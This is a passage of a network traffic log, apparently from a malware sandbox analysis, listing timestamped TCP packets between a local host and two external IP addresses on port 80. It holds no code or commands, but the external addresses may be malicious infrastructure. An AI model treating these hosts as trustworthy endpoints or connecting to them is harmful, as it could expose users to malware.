Sep 18, 2024 14:30:08.796250105 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.796252012 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.796262026 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.796267986 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.796273947 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.796284914 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.796297073 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.796298027 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.796318054 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.796338081 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.796415091 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.796427011 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.796442032 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.796503067 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.796515942 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.796520948 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.796520948 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.796530008 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.796538115 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.796544075 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.796555996 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.796569109 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.796591997 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.796595097 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.796606064 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.796619892 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.796626091 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.796633005 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.796646118 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.796658039 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.796679974 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.796684980 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.796698093 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.796714067 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.796739101 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.798656940 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.798691034 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.798702955 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.798717976 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.798743963 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.798834085 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.798846006 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.798856974 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.798868895 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.798868895 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.798892975 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.798916101 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.799190044 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.799202919 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.799213886 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.799228907 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.799240112 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.799252033 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.799257994 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.799268961 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.799279928 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.799280882 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.799292088 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.799308062 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.799310923 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.799331903 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.799356937 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.799365044 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.799370050 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.799392939 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.799396992 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.799407005 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.799407959 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.799422026 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.799431086 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.799447060 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.799447060 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.799463034 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.799484015 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.799678087 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.799690008 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.799700975 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.799720049 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.799736023 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.799736023 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.799748898 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.799760103 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.799768925 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.799777985 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.799791098 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.799793959 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.799802065 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.799819946 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.799819946 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.799834967 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.799845934 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.799846888 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.799858093 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.799866915 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.799870968 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.799880981 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.799892902 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.799895048 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.799906015 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.799925089 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.799947977 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.801172018 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.801223040 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.801275015 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.801311016 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.801431894 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.801445007 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.801455021 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.801472902 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.801486015 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.801491022 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.801500082 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.801512957 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.801551104 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.803632975 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.803693056 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.803700924 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.803705931 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.803728104 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.803742886 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.803749084 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.803761005 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.803772926 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.803785086 CEST	80	49705	103.130.147.211	192.168.2.7
Sep 18, 2024 14:30:08.803785086 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.803798914 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.803806067 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.803843021 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.803845882 CEST	49705	80	192.168.2.7	103.130.147.211
Sep 18, 2024 14:30:08.803854942 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.803869009 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.803869009 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.803880930 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.803893089 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.803894043 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.803905964 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.803905964 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.803930998 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.803945065 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.804090977 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.804102898 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.804121017 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.804132938 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.804136992 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.804145098 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.804155111 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.804157019 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.804171085 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.804177046 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.804200888 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.804224014 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.807318926 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.807336092 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.807353020 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.807365894 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.807370901 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.807378054 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.807400942 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.807406902 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.807420015 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.807426929 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.807432890 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.807442904 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.807454109 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.807455063 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.807467937 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.807476997 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.807480097 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.807491064 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.807492971 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.807502985 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.807513952 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.807514906 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.807524920 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.807543993 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.807558060 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.813560963 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.813591957 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.813604116 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.813612938 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.813649893 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.813667059 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.813679934 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.813692093 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.813704014 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.813714027 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.813726902 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.813755035 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.814172029 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.814205885 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.814218998 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.814223051 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.814235926 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.814250946 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.814316988 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.814327955 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.814341068 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.814344883 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.814352036 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.814364910 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.814371109 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.814398050 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.814412117 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.814443111 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.814527035 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.814539909 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.814552069 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.814562082 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.814563036 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.814574957 CEST	80	49706	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.814585924 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.814613104 CEST	49706	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.826397896 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826421976 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826436043 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826448917 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826462030 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826473951 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826487064 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826513052 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.826551914 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.826551914 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.826570034 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826594114 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826605082 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826616049 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826627970 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826632023 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.826641083 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826658964 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826677084 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826687098 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.826687098 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.826692104 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826708078 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826726913 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826731920 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.826731920 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.826738119 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826750994 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826764107 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826773882 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.826773882 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.826776028 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826790094 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826802969 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826828003 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.826828003 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.826879025 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826891899 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826903105 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826915026 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826920033 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.826920033 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.826929092 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826941013 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826952934 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826965094 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826967955 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.826967955 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.826978922 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.826994896 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827007055 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827007055 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.827007055 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.827023029 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827034950 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827053070 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827054977 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.827055931 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.827066898 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827079058 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827090025 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827104092 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827105999 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.827105999 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.827151060 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.827151060 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.827183962 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827195883 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827208042 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827219963 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827236891 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827248096 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827254057 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.827254057 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.827280045 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827292919 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827303886 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827316046 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.827316046 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.827316999 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827332020 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827347040 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827358961 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827368021 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.827368021 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.827370882 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827397108 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.827409029 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827424049 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.827452898 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.827588081 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827600956 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827615976 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827627897 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827627897 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.827641964 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827651978 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.827655077 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827667952 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827680111 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827682018 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.827693939 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827706099 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827707052 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.827721119 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827735901 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827752113 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.827752113 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.827908039 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827922106 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827934980 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827948093 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827948093 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.827948093 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.827961922 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827974081 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827986002 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.827999115 CEST	80	49704	147.45.44.104	192.168.2.7
Sep 18, 2024 14:30:08.828002930 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.828002930 CEST	49704	80	192.168.2.7	147.45.44.104
Sep 18, 2024 14:30:08.828013897 CEST	80	49704	147.45.44.104	192.168.2.7
